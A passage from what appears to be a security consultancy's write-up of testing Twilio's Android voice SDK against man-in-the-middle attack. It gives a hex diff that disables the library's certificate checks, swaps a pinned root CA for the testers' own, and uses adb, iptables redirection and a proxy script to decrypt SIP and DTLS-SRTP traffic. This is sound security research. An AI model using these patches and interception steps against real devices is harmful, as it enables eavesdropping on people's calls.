src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_4_patched.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #5, original</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_5_orig.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #5, patched</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_5_patched.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code> (offset <code>0x0016163c</code>) also sets a callback which always has to return <code>1</code> as a result of successful verification.</p> <p>Verification callback, original:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/verify_callback_orig.png" alt="img" /></p> <p>Verification callback, patched:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/verify_callback_patched.png" alt="img" /></p> <p>Even if verification succeeds, the library validates if domain name matches the expected one.</p> <p>Common name verification, decompiled:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/certname_mismatch_orig.png" alt="img" /></p> <p>Common name verification, source code:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/certname_mismatch_orig1.png" alt="img" /></p> <p>Common name verification, patched:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/certname_mismatch_patched.png" alt="img" /></p> <p>Common name verification, patched, decompiled:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/certname_mismatch_patched1.png" alt="img" /></p> <p>On top of that, the library checks if common name ends with <code>.twilio.com</code>. It is of course an addition made to the <code>resiprocate</code> library. We left it untouched and just took this behaviour into account when configuring intercepting proxies.</p> <p>Parent domain validation:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/certname_mismatch_orig_twilio.png" alt="img" /></p> <p>The final difference between the original file and the patched version:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ diff &lt;(xxd libtwilio_voice_android_so.so) &lt;(xxd libtwilio_voice_android_so.so.patched)<br /> 85248c85248<br /> &lt; 0014cff0: 7a44 0121 0af1 3afc 6668 19a8 4946 7ff7 &nbsp;zD.!..:.fh..IF..<br /> ---<br /> &gt; 0014cff0: 7a44 0021 0af1 3afc 6668 19a8 4946 7ff7 &nbsp;zD.!..:.fh..IF..<br /> 85252c85252<br /> &lt; 0014d030: a068 dff8 3426 7a44 0121 0af1 17fc a668 &nbsp;.h..4&amp;zD.!.....h<br /> ---<br /> &gt; 0014d030: a068 dff8 3426 7a44 0021 0af1 17fc a668 &nbsp;.h..4&amp;zD.!.....h<br /> 86212c86212<br /> &lt; 00150c30: dff8 042a 4046 0121 7a44 06f1 17fe 0af1 &nbsp;...*@F.!zD......<br /> ---<br /> &gt; 00150c30: dff8 042a 4046 0021 7a44 06f1 17fe 0af1 &nbsp;...*@F.!zD......<br /> 86401c86401<br /> &lt; 00151800: 0830 1a90 4846 17f7 a6e9 5846 0df5 657d &nbsp;.0..HF....XF..e}<br /> ---<br /> &gt; 00151800: 0830 1a90 4846 17f7 a6e9 0120 0df5 657d &nbsp;.0..HF..... ..e}<br /> 122442c122442<br /> &lt; 001de490: c8f8 2c01 0968 0029 00f0 bc80 bb48 52ad &nbsp;..,..h.).....HR.<br /> ---<br /> &gt; 001de490: c8f8 2c01 0968 0229 40f0 bc80 bb48 52ad &nbsp;..,..h.)@....HR.<br /> 186554c186554<br /> &lt; 002d8b90: 334a 2046 0121 7a44 7ef7 68fe 2046 0421 &nbsp;3J F.!zD~.h. F.!<br /> ---<br /> &gt; 002d8b90: 334a 2046 0021 7a44 7ef7 68fe 2046 0421 &nbsp;3J F.!zD~.h. F.!<br /> 187441,187442c187441,187442<br /> &lt; 002dc300: edfb 38b3 95f8 6100 0321 0022 0028 08bf &nbsp;..8...a..!.&quot;.(..<br /> &lt; 002dc310: 0121 2046 7bf7 aafa 1349 2046 0022 7944 &nbsp;.! F{....I F.&quot;yD<br /> ---<br /> &gt; 002dc300: edfb 38b3 95f8 6100 0021 0022 0028 08bf &nbsp;..8...a..!.&quot;.(..<br /> &gt; 002dc310: 0021 2046 7bf7 aafa 1349 2046 0022 7944 &nbsp;.! F{....I F.&quot;yD</div></div> <p>This was still not enough. The library limits the list of trusted certificate authorities to the following list:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root G2<br /> subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA<br /> subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root CA<br /> subject= /C=US/O=Amazon/CN=Amazon Root CA 4<br /> subject= /C=US/O=Amazon/CN=Amazon Root CA 3<br /> subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3<br /> subject= /C=US/O=Starfield Technologies, Inc./OU=Starfield Class 2 Certification Authority<br /> subject= /C=US/O=thawte, Inc./OU=Certification Services Division/OU=(c) 2006 thawte, Inc. - For authorized use only/CN=thawte Primary Root CA<br /> subject= /C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./CN=Starfield Services Root Certificate Authority - G2<br /> subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root G3<br /> subject= /C=US/O=thawte, Inc./OU=(c) 2007 thawte, Inc. - For authorized use only/CN=thawte Primary Root CA - G2</div></div> <p>To overcome this we created our own CA which, when formatted as PEM, matches the length of one of the listed above.</p> <p>We updated Amazon's root CA:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ openssl x509 -text -noout -in twilio_cert_chosen.txt<br /> Certificate:<br /> &nbsp; &nbsp; Data:<br /> &nbsp; &nbsp; &nbsp; &nbsp; Version: 3 (0x2)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Serial Number:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 06:6c:9f:d2:96:35:86:9f:0a:0f:e5:86:78:f8:5b:26:bb:8a:37<br /> &nbsp; &nbsp; &nbsp; &nbsp; Signature Algorithm: sha384WithRSAEncryption<br /> &nbsp; &nbsp; &nbsp; &nbsp; Issuer: C = US, O = Amazon, CN = Amazon Root CA 2<br /> &nbsp; &nbsp; &nbsp; &nbsp; Validity<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not Before: May 26 00:00:00 2015 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not After : May 26 00:00:00 2040 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject: C = US, O = Amazon, CN = Amazon Root CA 2</div></div> <p>Our certificate:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ openssl x509 -text -noout -in ca_test1.crt<br /> Certificate:<br /> &nbsp; &nbsp; Data:<br /> &nbsp; &nbsp; &nbsp; &nbsp; Version: 3 (0x2)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Serial Number: 5957144336496509465 (0x52ac0736349ac219)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Signature Algorithm: sha256WithRSAEncryption<br /> &nbsp; &nbsp; &nbsp; &nbsp; Issuer: O = xxxxxxx, CN = Gremwell<br /> &nbsp; &nbsp; &nbsp; &nbsp; Validity<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not Before: Mar 13 15:45:00 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not After : Mar 13 15:45:00 2030 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject: O = xxxxxxx, CN = Gremwell<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject Public Key Info:</div></div> <p>We used <code>organization</code> field to make certificates sizes match. Then we just replaced one PEM string with another in the binary.</p> <p>Uploading the patched library to the mobile device:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ adb push libtwilio_voice_android_so.so.patched_cert /sdcard/</div></div> <p>Altering the existing library on the device (as superuser):</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;"># cp /sdcard/libtwilio_voice_android_so.so.patched_cert /data/app/com.twilio.voice.quickstart-1/lib/arm/libtwilio_voice_android_so.so<br /> # cp /sdcard/libtwilio_voice_android_so.so.patched_cert /data/data/com.twilio.voice.quickstart/app_lib/libtwilio_voice_android_so.so</div></div> <p>With such alterations we were able to intercept the data transmitted between the mobile client and <code>chunderm.gll.twilio.com</code>.</p> <h4><a id="user-content-signalling-traffic" href="#signalling-traffic" name="signalling-traffic" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Signalling Traffic</h4> <p>We are about to intercept the traffic flow between our test mobile application and <code>chunderm.gll.twilio.com</code> host. As <code>chunderm.gll.twilio.com</code> is load-balanced and deployed on Amazon services, it is better to fix its IP address to a single one. The easiest way to do this is to add the corresponding entry to <code>/etc/hosts</code> and to verify that the test device is using this configuration:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">35.157.205.11 chunderm.gll.twilio.com</div></div> <p>Traffic redirection can be configured with <code>iptables</code>:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -s 192.168.12.0/24 -d 35.157.205.11 -i wlan0 -j DNAT --to-destination 127.0.0.1:9090</div></div> <p>When using DNAT to localhost do not forget to enable local routing:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo sysctl -w net.ipv4.conf.all.route_localnet=1</div></div> <p>The traffic we want to intercept is not a HTTPS one (as we quickly learned by trying to forward it to Burp proxy). Thus, we used a general-purpose proxy tool, <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/viproxy">viproxy</a>. We used it like this:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ ./bin/viproxy -l 9090 -r 35.157.205.11:443 --l-ssl --l-sslcert chunderm.gll.twilio.com.crt \<br /> &nbsp; --l-sslkey chunderm.gll.twilio.com.pem --r-ssl -f twilio_chunderm_1.log</div></div> <p>Certificate <code>chunderm.gll.twilio.com.crt</code> was generated specifically for this purpose and signed by CA that we previously added to the <code>libtwilio_voice_android_so.so</code> library. Common name in this certificate was set to <code>chunderm.gll.twilio.com</code>. Thus, the application trusted our proxy and we were finally able to get the traffic in clear-text.</p> <p>The traffic that we observed contained SIP signaling. It was used to indicate initiated calls to the remote party, receive notifications regarding call status and negotiate media channels parameters. Exactly for this purpose the Twilio voice native library includes <a rel="noopener noreferrer" target="_blank" href="https://github.com/resiprocate/resiprocate.git">resiprocate</a> source code. Let's briefly analyse the intercepted SIP messages.</p> <p>Client (our test mobile app) sent the following SIP INVITE message:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">INVITE sip:chunderm.gll.twilio.com:443;transport=tls SIP/2.0<br /> Via: SIP/2.0/TLS 192.168.12.118;branch=z9hG4bK-524287-1---40ce49870111dfe0;rport<br /> Max-Forwards: 70<br /> Contact: &lt;sip:VoiceSDK@192.168.12.118;ob;transport=tls&gt;;+sip.instance=&quot;bd3b91dB35B543C6d83A09d877b0Dd5D&quot;<br /> To: &lt;sip:chunderm.gll.twilio.com:443;transport=tls&gt;<br /> From: &lt;sip:VoiceSDK@chunderm.gll.twilio.com&gt;;tag=56541ce5<br /> Call-ID: irMlCaSv9fso9ZI2vhCwOg..<br /> CSeq: 1 INVITE<br /> Allow: INVITE, ACK, CANCEL, OPTIONS, BYE<br /> Content-Type: application/sdp<br /> Supported: outbound, path, gruu<br /> User-Agent: VoiceSDK<br /> X-Twilio-BridgeToken: eyJ6a....<br /> X-Twilio-Client: %7B%22mob...<br /> X-Twilio-ClientVersion: 5<br /> Content-Length: 1131<br /> <br /> v=0<br /> o=- 6896153525930087223 2 IN IP4 127.0.0.1<br /> s=-<br /> t=0 0<br /> a=group:BUNDLE audio<br /> a=msid-semantic: WMS 4f3033cBBB87fac4f85efe4E4a8Ef2dd<br /> m=audio 9 UDP/TLS/RTP/SAVPF 111 103 9 0 8 105 13 110 113 126<br /> c=IN IP4 0.0.0.0<br /> a=rtcp:9 IN IP4 0.0.0.0<br /> a=ice-ufrag:sdmi<br /> a=ice-pwd:gw1kcxcee+d0P/MKRe2Bm5A7<br /> a=ice-options:trickle<br /> a=fingerprint:sha-256 1B:EA:BF:33:B8:11:26:6D:91:AD:1B:A0:16:FD:5D:60:59:33:F7:46:A3:BA:99:2A:1D:04:99:A6:F2:C6:2D:43<br /> a=setup:actpass<br /> ...<br /> a=ssrc:667633809 mslabel:4f3033cBBB87fac4f85efe4E4a8Ef2dd<br /> a=ssrc:667633809 label:631b37accdEfD305ABcE805FdaDD25F5</div></div> <p>Note the <code>fingerprint</code> parameter: <code>sha-256 1B:EA:BF:33:B8:11:26:6D:91:AD:1B:A0:16:FD:5D:60:59:33:F7:46:A3:BA:99:2A:1D:04:99:A6:F2:C6:2D:43</code>.</p> <p>The server replied with the following:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">SIP/2.0 200 OK<br /> CSeq: 1 INVITE<br /> Call-ID: irMlCaSv9fso9ZI2vhCwOg..<br /> From: &lt;sip:VoiceSDK@chunderm.gll.twilio.com&gt;;tag=56541ce5<br /> To: &lt;sip:chunderm.gll.twilio.com:443;transport=tls&gt;;tag=98073708_6772d868_46d541a4-5a12-4872-8aa4-31b1ca3e294b<br /> Via: SIP/2.0/TLS 192.168.12.118;received=78.23.55.64;branch=z9hG4bK-524287-1---40ce49870111dfe0;rport=37922<br /> Record-Route: &lt;sip:172.21.5.43:10193;r2=on;transport=udp;ftag=56541ce5;lr&gt;<br /> Record-Route: &lt;sip:35.157.205.11:443;r2=on;transport=tls;ftag=56541ce5;lr&gt;<br /> Server: Twilio<br /> Contact: &lt;sip:172.21.10.120:10193&gt;<br /> Allow: INVITE,ACK,CANCEL,OPTIONS,BYE<br /> Content-Type: application/sdp<br /> X-Twilio-CallSid: CA2fad432f2da6576c4735f03af99592af<br /> Content-Length: 1039<br /> X-Twilio-EdgeHost: ec2-35-157-205-11.eu-central-1.compute.amazonaws.com<br /> X-Twilio-EdgeRegion: de1<br /> X-Twilio-Zone: EU_FRANKFURT<br /> <br /> v=0<br /> o=root 219971503 219971503 IN IP4 172.21.25.231<br /> s=Twilio Media Gateway<br /> c=IN IP4 3.122.181.240<br /> t=0 0<br /> a=group:BUNDLE audio<br /> a=ice-lite<br /> m=audio 17612 RTP/SAVPF 111 0 126<br /> a=rtpmap:111 opus/48000/2<br /> a=rtpmap:0 PCMU/8000<br /> a=rtpmap:126 telephone-event/8000<br /> a=fmtp:126 0-16<br /> a=ptime:20<br /> a=maxptime:20<br /> a=ice-ufrag:7d27112b7d583e977e998884781408ef<br /> a=ice-pwd:5cfdaed470f11afc443384ae3a39434c<br /> a=candidate:H37ab5f0 1 UDP 2130706431 3.122.181.240 17612 typ host<br /> a=end-of-candidates<br /> a=connection:new<br /> a=setup:active<br /> a=fingerprint:sha-256 33:4E:FE:3C:76:F2:04:B4:18:FC:95:85:56:3C:1C:A7:B0:87:39:15:3D:07:42:45:85:40:6C:2C:77:A9:80:76<br /> a=mid:audio<br /> ...</div></div> <p>Note the parameters <code>c=IN IP4 3.122.181.240</code> and <code>m=audio 17612 RTP/SAVPF 111 0 126</code>. This sets DTLS-SRTP remote endpoint to <code>3.122.181.240:17612</code>.</p> <p>There is another <code>fingerprint</code> parameter in server's reply: <code>sha-256 33:4E:FE:3C:76:F2:04:B4:18:FC:95:85:56:3C:1C:A7:B0:87:39:15:3D:07:42:45:85:40:6C:2C:77:A9:80:76</code>.</p> <p>If we look into the corresponding traffic capture we will see the UDP channel established between our application and <code>3.122.181.240:17612</code>. The mobile app presented to the client the following certificate during DTLS handshake:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ openssl x509 -text -noout -in incoming1.crt<br /> Certificate:<br /> &nbsp; &nbsp; Data:<br /> &nbsp; &nbsp; &nbsp; &nbsp; Version: 3 (0x2)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Serial Number:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d3:83:6b:a2:6c:9e:c6:a3<br /> &nbsp; &nbsp; &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; Issuer: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Validity<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not Before: Mar 15 15:29:49 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not After : Apr 15 15:29:49 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject Public Key Info:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public Key Algorithm: id-ecPublicKey<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public-Key: (256 bit)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pub:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 04:d1:b2:19:57:ed:ec:17:70:05:02:0c:ea:4a:57:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2a:dc:f8:c2:c1:d2:83:b5:cf:38:dd:09:af:c3:b8:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d5:fe:e2:ac:c2:1e:e1:0f:d5:f2:b3:94:ba:e0:d5:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d0:a2:df:36:a3:f1:e7:a3:ca:c3:30:4c:8e:8b:78:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; eb:b5:25:a9:2a<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ASN1 OID: prime256v1<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NIST CURVE: P-256<br /> &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;30:44:02:20:05:da:f7:2e:d4:01:a9:0f:dd:70:70:33:f5:1c:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;8e:f2:2e:51:d6:71:c9:07:d0:ef:1c:e1:4e:76:b1:f0:1f:e1:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;02:20:7a:cf:e0:49:a0:07:58:c6:b7:f5:8f:fe:2b:c3:91:ff:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;17:ea:72:62:0b:f0:22:80:7b:09:8e:4c:8a:83:a8:11<br /> <br /> $ openssl x509 -noout -fingerprint -sha256 -inform pem -in incoming1.crt<br /> SHA256 Fingerprint=1B:EA:BF:33:B8:11:26:6D:91:AD:1B:A0:16:FD:5D:60:59:33:F7:46:A3:BA:99:2A:1D:04:99:A6:F2:C6:2D:43</div></div> <p>This is exactly the same fingerprint that client has sent in the SIP INVITE message, that was described earlier.</p> <p>We saw that SIP signalling exchange with <code>chunderm.gll.twilio.com</code> negotiated DTLS certificates fingerprints. They can be used to validate the client. We can assume that client certificate can contain arbitrary information, it just has to have the fingerprint matching the one, that was transmitted in the signalling channel. However, this is a subject to verify.</p> <p>Another parameter that was negotiated in this signalling channel is the remote endpoint to establish DTLS-SRTP channel:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">c=IN IP4 3.122.181.240<br /> ...<br /> m=audio 17612 RTP/SAVPF 111 0 126</div></div> <p>In this case it is <code>3.122.181.240:17612</code>.</p> <p>This format for transferring media parameters is called Session Description Protocol (SDP). As we later learned, it is one of the recommended approaches for negotiating media channels in WebRTC. The <a rel="noopener noreferrer" target="_blank" href="https://webrtchacks.com/sdp-anatomy/">SDP Anatomy</a> article describes the most common parameters.</p> <p>One important outcome is that the remote party in this case is Twilio server. This means that it has full control over voice communications and can (in theory) intercept the traffic, decrypt it, record it and even modify. This is what can be found on Twilio website regarding this <a rel="noopener noreferrer" target="_blank" href="https://support.twilio.com/hc/en-us/articles/115007323447-Media-encryption-with-Twilio-Programmable-Video">link</a>:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Media shared in Peer-to-Peer Rooms is encrypted end-to-end and can never be<br /> accessed by Twilio.<br /> <br /> Each Participant in a Peer-to-Peer Room negotiates a separate DTLS/SRTP<br /> connection to every other participant. All media published to or subscribed from<br /> the Room is sent over these secure connections, and is encrypted only at the<br /> sender and decrypted only at the receiver.<br /> <br /> Network Traversal Service TURN cannot decrypt media: TURN only routes the packet<br /> between peers.</div></div> <p>However, what we observed before could be just Twilio's &quot;demo account&quot; feature (as we used demo subscription). Indeed, Twilio server somehow has to insert &quot;thank you for using Twilio demo account&quot; voice message when making outgoing call.</p> <p>Anyway, the idea of this exercise is to test resilience against man-in-the-middle attacker, not if Twilio servers sniff communications. Thus, the next step is to intercept DTLS-SRTP.</p> <h4><a id="user-content-intercepting-dtls-srtp" href="#intercepting-dtls-srtp" name="intercepting-dtls-srtp" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intercepting DTLS-SRTP</h4> <p>Now we have our demultiplexing proxy tool ready and we know how to determine the remote endpoint it needs to connect to. We can automate it with &quot;replace&quot; scripts feature of <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/viproxy">viproxy</a> tool. For that we launch it like this:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ ./bin/viproxy -l 9090 -r 35.157.205.11:443 --l-ssl --l-sslcert chunderm.gll.twilio.com.crt \<br /> &nbsp; &nbsp;--l-sslkey chunderm.gll.twilio.com.pem --r-ssl \<br /> &nbsp; &nbsp;--resp-replace replace_run-stunproxy.rb -f twilio_chunderm_2.log</div></div> <p>Where <code>replace_run-stunproxy.rb</code> contains the following:</p> <div class="geshifilter"><div class="ruby geshifilter-ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;"># c=IN IP4 3.122.181.246</span><br /> <span style="color:#008000; font-style:italic;"># m=audio 19516 RTP/SAVPF 111 0 126</span><br /> <br /> <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#0000FF; font-weight:bold;">self</span>.<span style="color:#9900CC;">index</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'c=IN IP4 '</span><span style="color:#006600; font-weight:bold;">&#41;</span><br /> &nbsp; m = <span style="color:#0000FF; font-weight:bold;">self</span>.<span style="color:#9900CC;">match</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'^c=IN IP4 (3<span style="color:#000099;">\.</span>122<span style="color:#000099;">\.</span>181<span style="color:#000099;">\.</span>[0-9]{1,3})'</span><span style="color:#006600; font-weight:bold;">&#41;</span><br /> &nbsp; ip = m<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span><br /> <br /> &nbsp; m = <span style="color:#0000FF; font-weight:bold;">self</span>.<span style="color:#9900CC;">match</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'^m=audio (<span style="color:#000099;">\d</span>+) RTP/SAVPF .+'</span><span style="color:#006600; font-weight:bold;">&#41;</span><br /> &nbsp; port = m<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">to_i</span><br /> <br /> &nbsp; <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;DTLS-SRTP endpoint found (#{ip}:#{port}), launching proxy...&quot;</span><br /> <br /> &nbsp; <span style="color:#CC0066; font-weight:bold;">system</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;dtls-srtp-demux -H #{ip} -P #{port} -D 127.0.0.1 -d 8443 -h 127.0.0.1 -p 6001 &amp;&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br /> <br /> &nbsp; <span style="color:#ff3333; font-weight:bold;">:ok</span><br /> <span style="color:#9966CC; font-weight:bold;">end</span></div></div> <p>We still need to forward DTLS-SRTP traffic from the mobile app to the intercepting proxy. This can be achieved with the following <code>iptables</code> command:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo iptables -t nat -A PREROUTING -p udp --dport 0:65535 -s 192.168.12.0/24 -d 3.122.181.0/24 -i wlan0 -j DNAT --to-destination 127.0.0.1:6001</div></div> <p>We are almost ready, the remaining step is to prepare DTLS server.</p> <h4><a id="user-content-terminating-dtls-with-srtp-extension" href="#terminating-dtls-with-srtp-extension" name="terminating-dtls-with-srtp-extension" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Terminating DTLS with SRTP Extension</h4> <p>As we learned from <a rel="noopener noreferrer" target="_blank" href="https://www.rfcreader.com/#rfc5764">RFC5764</a>, DTLS handshake in DTLS-SRTP protocol relies on <code>use_srtp</code> extension. Thus, we need a TLS library which supports it. We chose <a rel="noopener noreferrer" target="_blank" href="https://www.gnutls.org/">GnuTLS</a> as it has a useful API and plenty of examples for many cases.</p> <p>We used <a rel="noopener noreferrer" target="_blank" href="https://gitlab.com/gnutls/gnutls/blob/master/tests/mini-dtls-srtp.c">mini-dtls-srtp</a> server as an example and combined it with the corresponding <a rel="noopener noreferrer" target="_blank" href="https://www.gnutls.org/manual/html_node/DTLS-echo-server-with-X_002e509-authentication.html#DTLS-echo-server-with-X_002e509-authentication">documentation</a>. The source code is published as <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/dtls-srtp-server">dtls-srtp-server</a>.</p> <p>DTLS server should present some certificate to the remote client. We assumed that there are no specific requirements for it (at the time of writing we did not have any evidences saying the opposite). Thus, we tried to make it close to the ones we observed with the validity period extended:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Certificate:<br /> &nbsp; &nbsp; Data:<br /> &nbsp; &nbsp; &nbsp; &nbsp; Version: 3 (0x2)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Serial Number: 5550018979492260217 (0x4d05a0db494fe979)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; Issuer: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Validity<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not Before: Mar 11 15:14:00 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not After : Mar 11 15:14:00 2030 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject Public Key Info:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public Key Algorithm: id-ecPublicKey<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public-Key: (256 bit)<br /> &nbsp; &nbsp; &nbsp; 